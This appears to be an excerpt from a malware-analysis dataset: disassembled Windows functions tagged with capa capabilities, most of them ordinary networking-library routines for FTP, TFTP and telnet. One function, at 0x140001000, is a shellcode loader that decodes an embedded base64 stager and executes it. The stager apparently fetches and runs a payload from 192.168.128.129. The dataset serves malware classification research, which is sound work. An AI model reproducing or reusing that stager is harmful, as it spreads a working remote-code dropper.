joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400c57c0
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
mov r14, rcx
mov ebx, 1
mov edx, ebx
xor ecx, ecx
xor ebp, ebp
call qword [0x14015bf30]
mov rdi, rax
test rax, rax
je 0x1400c583d
nop word [rax + rax]
mov r8d, ebx
mov rdx, rdi
mov rcx, r14
mov rbp, rdi
mov esi, ebx
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov ebx, eax
test eax, eax
je 0x1400c5868
cmp ebx, esi
je 0x1400c5868
cmp ebx, 0x8000
ja 0x1400c5868
cmp ebx, esi
jb 0x1400c5863
mov edx, ebx
mov rcx, rdi
call qword [0x14015bf30]
mov rdi, rax
test rax, rax
jne 0x1400c5800
mov rcx, rbp
call qword [fcn.1400ea73c]
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
mov rax, rdi
jmp 0x1400c5848
mov rcx, rdi
jmp 0x1400c5840

Function at 0x1400cbe10
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0xc0
mov rax, qword [0x14015bf80]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov rbp, qword [rcx + 0x4c8]
lea r8, [rsp + 0x20]
mov rsi, qword [rcx]
lea rdx, [rsp + 0x30]
mov rdi, rcx
mov dword [rsp + 0x20], 0x80
mov rcx, rbp
mov rbx, 0xffffffffffffffff
call qword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
jne 0x1400cbe8a
lea r8, [rsp + 0x20]
mov dword [rsp + 0x20], 0x80
lea rdx, [rsp + 0x30]
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_accept]
mov rbx, rax
mov rdx, rbp
mov rcx, rdi
call fcn.1400b09e0
mov rcx, rsi
cmp rbx, 0xffffffffffffffff
jne 0x1400cbeaf
lea rdx, str.Error_accept__ing_server_connect
call fcn.1400afd80
lea eax, [rbx + 0x1f]
jmp 0x1400cbf28
lea rdx, str.Connection_accepted_from_server_n
call fcn.1400aff00
mov edx, 1
mov byte [rdi + 0x660], 0
mov rcx, rbx
mov qword [rdi + 0x4c8], rbx
call fcn.1400be510
mov byte [rdi + 0xb2c], 1
cmp qword [rsi + 0x728], 0
je 0x1400cbf26
mov dl, 1
mov rcx, rsi
call fcn.1400a0710
mov rcx, qword [rsi + 0x730]
mov r8d, 1
mov rdx, rbx
call qword [rsi + 0x728]
xor edx, edx
mov rcx, rsi
mov ebx, eax
call fcn.1400a0710
test ebx, ebx
je 0x1400cbf26
mov rcx, rdi
call fcn.1400cc440
mov eax, Ordinal_46
jmp 0x1400cbf28
xor eax, eax
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.1400e8940
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret

Function at 0x1400ccf20
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbx
sub rsp, 0x20
mov rax, qword [rcx]
mov rbx, rcx
add rcx, 0xa00
cmp byte [rax + 0xf09], 0
jne 0x1400ccf45
cmp dword [rax + 0x9f8], 0
je 0x1400ccf71
mov r8, qword [rcx + 0x88]
test r8, r8
je 0x1400ccf71
lea rdx, str.MDTM__s
call fcn.1400e3f70
test eax, eax
jne 0x1400ccf7e
mov dword [rbx + 0xab8], 0x12
add rsp, 0x20
pop rbx
ret
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.1400cddb0
add rsp, 0x20
pop rbx
ret
Function at 0x1400cd730
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x1e0]
cmp dword [rax + 0x10], 0
je 0x1400cd768
mov r8d, reloc.WS2_32.dll_listen
mov dword [rbx + 0xab8], 0xd
mov dl, 1
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.1400cd880
cmp byte [rcx + 0xf0e], 0
je 0x1400cd780
xor edx, edx
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.1400ce270
cmp byte [rcx + 0xf11], 0
je 0x1400cd821
mov r8, qword [rbx + 0xa88]
test r8, r8
jne 0x1400cd7db
mov r8, qword [rcx + 0xc08]
test r8, r8
jne 0x1400cd7be
cmp byte [rcx + 0xf0d], 0
lea rax, str.NLST
lea r8, str.LIST
cmovne r8, rax
lea rcx, [rbx + 0xa00]
lea rdx, str.PRET__s
call fcn.1400e3f70
test eax, eax
je 0x1400cd811
add rsp, 0x20
pop rbx
ret
cmp byte [rcx + 0xf1d], 0
lea rcx, [rbx + 0xa00]
je 0x1400cd801
lea rdx, str.PRET_STOR__s
call fcn.1400e3f70
test eax, eax
je 0x1400cd811
add rsp, 0x20
pop rbx
ret
lea rdx, str.PRET_RETR__s
call fcn.1400e3f70
test eax, eax
jne 0x1400cd82e
mov dword [rbx + 0xab8], 0x1d
add rsp, 0x20
pop rbx
ret
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.1400ce1e0
add rsp, 0x20
pop rbx
ret

Function at 0x1400cdb70
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbx
sub rsp, 0x20
mov rax, qword [rcx]
mov rbx, rcx
mov rdx, qword [rax + 0x1e0]
cmp dword [rdx + 0x10], 0
je 0x1400cdbbd
cmp qword [rcx + 0xa88], 0
je 0x1400cdbbd
add rcx, 0xa00
lea rdx, str.REST__d
xor r8d, r8d
call fcn.1400e3f70
test eax, eax
jne 0x1400cdbc7
mov dword [rbx + 0xab8], 0x1a
add rsp, 0x20
pop rbx
ret
add rsp, 0x20
pop rbx
jmp fcn.1400cd730
add rsp, 0x20
pop rbx
ret

Function at 0x1400cdd50
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
add rcx, 0xa00
mov rax, qword [rbx]
mov rdx, qword [rax + 0x1e0]
cmp dword [rdx + 0x10], 1
jne 0x1400cdd9c
mov r8, qword [rcx + 0x88]
test r8, r8
je 0x1400cdd9c
lea rdx, str.SIZE__s
call fcn.1400e3f70
test eax, eax
jne 0x1400cdda9
mov dword [rbx + 0xab8], 0x17
add rsp, 0x20
pop rbx
ret
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.1400cdb70
add rsp, 0x20
pop rbx
ret

Function at 0x1400cddb0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov r9, qword [rcx]
cmp byte [r9 + 0xf1c], 0
je 0x1400cde08
cmp qword [rcx + 0xa88], 0
je 0x1400cde08
cmp byte [r9 + 0xf0b], 0
mov eax, 0x41
mov edx, 0x49
cmovne edx, eax
movsx eax, byte [rcx + 0xaa8]
cmp eax, edx
je 0x1400cde08
mov rax, qword [r9 + 0x1e0]
mov r8d, reloc.WS2_32.dll_send
mov dword [rax + 0x10], 1
movzx edx, byte [r9 + 0xf0b]
jmp fcn.1400cc650
jmp fcn.1400cdd50
Function at 0x1400cde10
Capabilities:
Check http status code

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x30
xor ebx, ebx
lea eax, [rdx - 0xc8]
mov rdi, rcx
mov rcx, qword [rcx]
mov esi, r8d
cmp eax, 0x64
jb 0x1400cde45
lea rdx, str.Couldnt_set_desired_mode
call fcn.1400afd80
lea eax, [rbx + 0x11]
add rsp, 0x30
pop rdi
pop rsi
pop rbx
ret
cmp edx, 0xc8
je 0x1400cde5c
mov r8d, edx
lea rdx, str.Got_a__03d_response_code_instead_of_the_assumed_200_n
call fcn.1400aff00
mov qword [rsp + 0x58], rbp
mov qword [rsp + 0x60], r14
cmp esi, 0x13
jne 0x1400cde78
mov rcx, rdi
call fcn.1400cdd50
jmp 0x1400cdfaf
cmp esi, 0x14
jne 0x1400cdf91
mov rsi, qword [rdi]
mov rbp, rbx
cmp dword [rsi + 0xba0], 2
jne 0x1400cdef9
mov rax, qword [rsi + 0x1e0]
mov rdx, qword [rax]
test rdx, rdx
je 0x1400cdef9
mov byte [rsp + 0x28], 1
lea r9, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x20], rbx
mov rcx, rsi
mov qword [rsp + 0x50], rbx
call fcn.1400c5900
test eax, eax
jne 0x1400cdfaf
mov rcx, qword [rsp + 0x50]
lea edx, [rax + 0x2f]
call sub.VCRUNTIME140.dll_strrchr
test rax, rax
je 0x1400cdeee
mov rbp, qword [rsp + 0x50]
mov ecx, 1
sub rax, rbp
cmovne rcx, rax
mov byte [rcx + rbp], bl
jmp 0x1400cdef9
mov rcx, qword [rsp + 0x50]
call qword [fcn.1400ea73c]
mov rdx, qword [rsi + 0xc08]
test rdx, rdx
jne 0x1400cdf1d
cmp byte [rsi + 0xf0d], bl
lea rax, str.NLST
lea rdx, str.LIST
cmovne rdx, rax
lea r8, [0x1401175b6]
test rbp, rbp
mov r9, r8
lea rax, [0x14011c7f0]
cmovne r9, rbp
lea rcx, [0x14010ce68]
cmovne r8, rax
call fcn.14009e640
mov rcx, rbp
mov r14, rax
call qword [fcn.1400ea73c]
test r14, r14
jne 0x1400cdf5c
lea ebx, [r14 + 0x1b]
jmp 0x1400cdfb1
lea rcx, [rdi + 0xa00]
mov r8, r14
lea rdx, [0x140117b48]
call fcn.1400e3f70
mov rcx, r14
mov esi, eax
call qword [fcn.1400ea73c]
test esi, esi
je 0x1400cdf85
mov ebx, esi
jmp 0x1400cdfb1
mov dword [rdi + 0xab8], 0x1f
jmp 0x1400cdfb1
cmp esi, 0x15
jne 0x1400cdf9c
lea r8d, [rsi - 8]
jmp 0x1400cdfa5
cmp esi, 0x16
jne 0x1400cdfb1
lea r8d, [rsi - 8]
mov dl, 1
mov rcx, rdi
call fcn.1400cd880
mov ebx, eax
mov r14, qword [rsp + 0x60]
mov eax, ebx
mov rbp, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
pop rsi
pop rbx
ret
Function at 0x1400d38a0
Capabilities:
Write file on windows

Disassembly:
sub rsp, 0x38
cmp byte [rcx + 0xf1e], 0
movsxd r10, r9d
je 0x1400d39c4
cmp r8d, 0xff
jne 0x1400d3901
lea eax, [r10 - 0xec]
cmp eax, 0x13
ja 0x1400d38eb
lea r8, [0x140000000]
mov r9, qword [r8 + r10*8 + 0x113200]
mov r8, rdx
lea rdx, str._s_IAC__s_n
add rsp, 0x38
jmp fcn.1400aff00
mov r8, rdx
mov r9d, r10d
lea rdx, str._s_IAC__d_n
add rsp, 0x38
jmp fcn.1400aff00
cmp r8d, 0xfb
jne 0x1400d3913
lea r9, str.WILL
jmp 0x1400d3951
cmp r8d, 0xfc
jne 0x1400d3925
lea r9, str.WONT
jmp 0x1400d3951
cmp r8d, 0xfd
jne 0x1400d3937
lea r9, [0x140113c24]
jmp 0x1400d3951
xor r9d, r9d
lea rax, str.DONT
cmp r8d, 0xfe
cmove r9, rax
test r9, r9
je 0x1400d39ad
cmp r10d, 0x27
jg 0x1400d3984
lea r8, [0x140000000]
mov r8, qword [r8 + r10*8 + 0x113820]
test r8, r8
jne 0x1400d3994
mov r8, rdx
mov dword [rsp + 0x20], r10d
lea rdx, str._s__s__d_n
call fcn.1400aff00
add rsp, 0x38
ret
cmp r10d, 0xff
jne 0x1400d396b
lea r8, str.EXOPL
mov qword [rsp + 0x20], r8
mov r8, rdx
lea rdx, str._s__s__s_n
call fcn.1400aff00
add rsp, 0x38
ret
mov r9d, r8d
mov dword [rsp + 0x20], r10d
mov r8, rdx
lea rdx, str._s__d__d_n
call fcn.1400aff00
add rsp, 0x38
ret

Function at 0x1400d3d10
Capabilities:
Send data
Send data on socket

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x20
mov rbp, qword [rcx]
mov edi, r8d
mov esi, edx
mov byte [rax + 0x10], 0xff
xor r9d, r9d
mov byte [rax + 0x11], sil
mov rbx, rcx
mov byte [rax + 0x12], dil
mov rcx, qword [rcx + 0x4c0]
lea rdx, [rax + 0x10]
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x1400d3d6f
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.1400afd80
mov rcx, qword [rbx]
lea rdx, str.SENT
mov r9d, edi
mov r8d, esi
call fcn.1400d38a0
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x1400d3f20
Capabilities:
Send data
Send data on socket

Disassembly:
cmp edx, 0x1f
jne 0x1400d40c8
push rbp
push rdi
push r14
sub rsp, 0x20
mov rbp, qword [rcx]
mov r14, rcx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], r15
mov rdi, qword [rbp + 0x1e0]
lea rsi, [rdi + 0x1cb8]
lea rbx, [rdi + 0x1eb8]
mov qword [rbx], rsi
cmp rsi, rbx
jae 0x1400d3f85
lea rax, [rsi + 1]
mov byte [rsi], 0xff
mov qword [rbx], rax
cmp rax, rbx
jae 0x1400d3f85
mov byte [rax], 0xfa
inc qword [rbx]
mov rax, qword [rbx]
cmp rax, rbx
jae 0x1400d3f85
mov byte [rax], dl
inc qword [rbx]
movzx ecx, word [rdi + 0x1ca8]
call qword [sym.imp.WS2_32.dll_htons]
movzx ecx, word [rdi + 0x1caa]
movzx r15d, ax
mov word [rsp + 0x48], ax
call qword [sym.imp.WS2_32.dll_htons]
mov r9, qword [rbx]
movzx ecx, ax
cmp r9, rbx
jae 0x1400d3fbc
mov byte [r9], r15b
inc qword [rbx]
mov r9, qword [rbx]
mov r15, qword [rsp + 0x58]
cmp r9, rbx
jae 0x1400d4012
movzx eax, byte [rsp + 0x49]
mov byte [r9], al
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400d4012
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400d4012
shr cx, 8
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400d4012
mov byte [r9], 0xff
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400d4012
mov byte [r9], 0xf0
mov r9, qword [rbx]
inc r9
mov qword [rdi + 0x1ec0], r9
lea r8, [rdi + 0x1cba]
sub r9, rsi
mov qword [rbx], rsi
sub r9, 2
mov edx, 0x3e
mov rcx, rbp
call fcn.1400d39d0
mov rcx, qword [r14 + 0x4c0]
xor r9d, r9d
mov rdx, rsi
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
mov rsi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x40]
test eax, eax
jns 0x1400d4074
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.1400afd80
lea rdx, [rdi + 0x1cbb]
mov r8d, 4
mov rcx, r14
call fcn.1400d3da0
mov rcx, qword [r14 + 0x4c0]
lea rdx, [rdi + 0x1cbf]
xor r9d, r9d
lea r8d, [r9 + 2]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x1400d40c0
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.1400afd80
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
Function at 0x1400d5830
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
push rdi
push r14
sub rsp, 0xd0
mov rax, qword [0x14015bf80]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov rbx, qword [rcx + 0xa00]
lea rax, [rsp + 0x30]
mov rdi, qword [rcx]
mov r14, rcx
mov dword [rsp + 0x30], 0x80
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov r8d, dword [rbx + 0x15c]
mov rdx, qword [rbx + 0x168]
add r8d, 4
mov rcx, qword [rbx + 0x18]
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_recvfrom]
cmp dword [rbx + 0x150], 0
mov dword [rbx + 0x154], eax
jne 0x1400d58c5
movsxd r8, dword [rsp + 0x30]
lea rcx, [rbx + 0xd0]
lea rdx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x30]
mov dword [rbx + 0x150], eax
mov r8d, dword [rbx + 0x154]
mov qword [rsp + 0xf8], rbp
mov qword [rsp + 0x100], rsi
cmp r8d, 4
jge 0x1400d5926
lea rdx, str.Received_too_short_packet
mov rcx, rdi
call fcn.1400afd80
mov dword [rbx + 0xc], 7
xor eax, eax
mov rsi, qword [rsp + 0x100]
mov rbp, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.1400e8940
add rsp, 0xd0
pop r14
pop rdi
pop rbx
ret
mov rdx, qword [rbx + 0x168]
movzx eax, byte [rdx]
movzx ecx, byte [rdx + 1]
shl eax, 8
or ecx, eax
mov dword [rbx + 0xc], ecx
sub ecx, 3
je 0x1400d59e1
sub ecx, 1
je 0x1400d5a54
sub ecx, 1
je 0x1400d5990
cmp ecx, 1
je 0x1400d5973
lea r8, str.Internal_error:_Unexpected_packet
mov rcx, rdi
lea rdx, [0x140117b48]
call fcn.1400afd80
jmp 0x1400d5a54
add r8d, 0xfffffffe
add rdx, 2
mov rcx, rbx
call fcn.1400d5560
test eax, eax
je 0x1400d5a54
jmp 0x1400d58fa
movzx ecx, byte [rdx + 2]
lea eax, [r8 - 4]
movsxd rbp, eax
lea rsi, [rdx + 4]
movzx eax, byte [rdx + 3]
mov r8, rbp
shl ecx, 8
xor edx, edx
or ecx, eax
mov dword [rbx + 8], ecx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x1400d5a54
sub rax, rsi
cmp rax, rbp
jae 0x1400d5a54
mov r8, rsi
lea rdx, str.TFTP_error:__s_n
mov rcx, rdi
call fcn.1400aff00
jmp 0x1400d5a54
cmp r8d, 4
jle 0x1400d5a54
movzx eax, byte [rdx + 3]
movzx ecx, byte [rdx + 2]
shl ecx, 8
or ecx, eax
movzx eax, word [rbx + 0x48]
inc eax
movzx eax, ax
cmp eax, ecx
jne 0x1400d5a54
lea eax, [r8 - 4]
mov rcx, r14
lea r8, [rdx + 4]
movsxd r9, eax
mov edx, 1
call fcn.1400afca0
mov esi, eax
test eax, eax
je 0x1400d5a33
mov edx, 5
mov rcx, rbx
call fcn.1400d6520
mov eax, esi
jmp 0x1400d58fa
mov eax, dword [rbx + 0x154]
mov rcx, rdi
sub eax, 4
cdqe
add qword [rdi + 0xf8], rax
mov rdx, qword [rdi + 0xf8]
call fcn.1400be780
mov rcx, r14
call fcn.1400bea60
test eax, eax
je 0x1400d58f8
mov edx, 5
mov rcx, rbx
call fcn.1400d6520
mov eax, Ordinal_46
jmp 0x1400d58fa
Function at 0x1400e87f0
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
jne 0x1400e8832
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x1400e8879
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
mov ebp, dword [rbx + 0x20]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x1400e88d2
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
sub rbp, 1
jne 0x1400e8890
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x1400e8913
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x140116dc2]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x140116dc3]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x1400e88e0
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret

Function at 0x1400e9910
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400e995a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400e995a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400e995a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400e995a
cmp dword [rcx + 0x84], 0xe
jbe 0x1400e995a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400e995c
xor al, al
add rsp, 0x28
ret
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Decode data using base64 via winapi
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x60
mov rax, qword [0x140003008]
xor rax, rsp
mov qword [rsp + 0x50], rax
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.VirtualAlloc
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.kernel32.dll
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.CreateThread
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.kernel32.dll
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.VirtualProtect
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.kernel32.dll
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.WaitForSingleObject
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, 0x4a9
mov r9d, 4
mov r8d, 0x1000
xor ecx, ecx
mov rsi, rax
call rbx
mov rbx, rax
mov qword [rsp + 0x30], 0
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], 0
mov r9, rbx
mov qword [rsp + 0x20], rax
mov edx, 0x4a9
mov dword [rsp + 0x40], 0x4a9
mov r8d, 1
lea rcx, str._EiD5PDoyAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwJ1couAiAAAAEiFwHRnSAHQUItIGESLQCBJAdDjVkj_yUGLNIhIAdZNMclIMcCsQcHJDUEBwTjgdfFMA0wkCEU50XXYWESLQCRJAdBmQYsMSESLQBxJAdBBiwSISAHQQVhBWF5ZWkFYQVlBWkiD7CBBUv_gWEFZWkiLEulP____XWoASb53aW5pbmV0AEFWSYnmTInxQbpMdyYH_9VIMclIMdJNMcBNMclBUEFQQbo6Vnmn_9Xrc1pIicFBuFPQAABNMclBUUFRagNBUUG6V4mfxv_V61lbSInBSDHSSYnYTTHJUmgAAkCEUlJBuutVLjv_1UiJxkiDw1BqCl9IifFIidpJx8D_____TTHJUlJBui0GGHv_1YXAD4WdAQAASP_PD4SMAQAA69Pp5AEAAOii____L2JEcEcAb3UlD_AakR9goLf1IImjmE1TazvRRa2KPjdCsS1Zb4pR6COaGhXNsUbr3UJnMvi9zY4n5Ha9lTPcw9NXF7o4xKYHx1361WM1gBVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgTVNJRSA5LjA7IFdpbmRvd3MgTlQgNi4xOyBXT1c2NDsgVHJpZGVudC81LjA7IE1BVFA7IE1BVFApDQoAjOKBJqR1u6ewgTl36BKRqC4LOCAEJGwRRkwYVI0guvqpEM1zMPNxzZMJSl1NZ6tiYYLlIvAKZckwQVblV_DQqQZAPxAghX6Fe8Li_LyPgntoEFsI2TQjknt6_mN7GOnSgaPWwZLbSWZWjQv7YGusFSavScQYToHuHhWpcg_CpEEPNyIXHOBCH7TNOiLp3ocAXqcEwLOi6qOvwGyxAK1WtWtFEZnh8mnz9EoQVYWXQOaZ9zCEUiJmu53f1YJdcES2U6ZCUHmeV5lWjO4AQb7wtaJW_9VIMcm6AABAAEG4ABAAAEG5QAAAAEG6WKRT5f_VSJNTU0iJ50iJ8UiJ2kG4ACAAAEmJUG6EpaJ4v_VSIPEIIXAdLZmiwdIAcOFwHXXWFhYSAUAAAAAUMPon_3__zE5Mi4xNjguMTI4LjEyOQASNFZ4
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
lea r9, [rsp + 0x44]
mov edx, 0x4a9
mov r8d, 0x10
mov rcx, rbx
call rdi
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rsp + 0x48]
xor r9d, r9d
mov qword [rsp + 0x28], rax
mov r8, rbx
xor edx, edx
mov dword [rsp + 0x20], 0
xor ecx, ecx
call rbp
mov edx, 0xffffffff
mov rcx, rax
call rsi
xor eax, eax
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140001180
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x80]
add rsp, 0x60
pop rdi
ret
Function at 0x1400060e0
Capabilities:
Query remote server for available data
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x88
mov rax, qword [0x14005d078]
xor rax, rsp
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x20], 0
lea rcx, [rsp + 0x50]
call fcn.140011fb0
nop
mov dword [rsp + 0x48], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x48]
mov rax, qword [rsp + 0x90]
mov rcx, qword [rax + 0x30]
call qword [sym.imp.WININET.dll_InternetQueryDataAvailable]
cmp dword [rsp + 0x48], 0
jne 0x14000616e
mov rcx, qword [rsp + 0x98]
call fcn.140011fb0
mov eax, dword [rsp + 0x20]
or eax, 1
mov dword [rsp + 0x20], eax
lea rcx, [rsp + 0x50]
call fcn.140011d30
mov rax, qword [rsp + 0x98]
jmp 0x140006255
mov eax, dword [rsp + 0x48]
inc eax
mov dword [rsp + 0x48], eax
mov dword [rsp + 0x4c], 0
mov eax, dword [rsp + 0x48]
mov ecx, eax
call fcn.1400245a4
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x4c]
mov r8d, dword [rsp + 0x48]
mov rdx, qword [rsp + 0x28]
mov rax, qword [rsp + 0x90]
mov rcx, qword [rax + 0x30]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1400061dd
cmp dword [rsp + 0x4c], 0
je 0x1400061dd
mov eax, dword [rsp + 0x4c]
mov rcx, qword [rsp + 0x28]
mov byte [rcx + rax], 0
mov dword [rsp + 0x4c], 0
jmp 0x14000619a
mov rdx, qword [rsp + 0x28]
lea rcx, [rsp + 0x50]
call fcn.140011c60
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
call fcn.140024560
cmp qword [rsp + 0x30], 0
jne 0x140006213
mov qword [rsp + 0x40], 0
jmp 0x140006226
mov qword [rsp + 0x28], 0x8123
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x40], rax
lea rdx, [rsp + 0x50]
mov rcx, qword [rsp + 0x98]
call fcn.140011de0
mov eax, dword [rsp + 0x20]
or eax, 1
mov dword [rsp + 0x20], eax
lea rcx, [rsp + 0x50]
call fcn.140011d30
mov rax, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.140024540
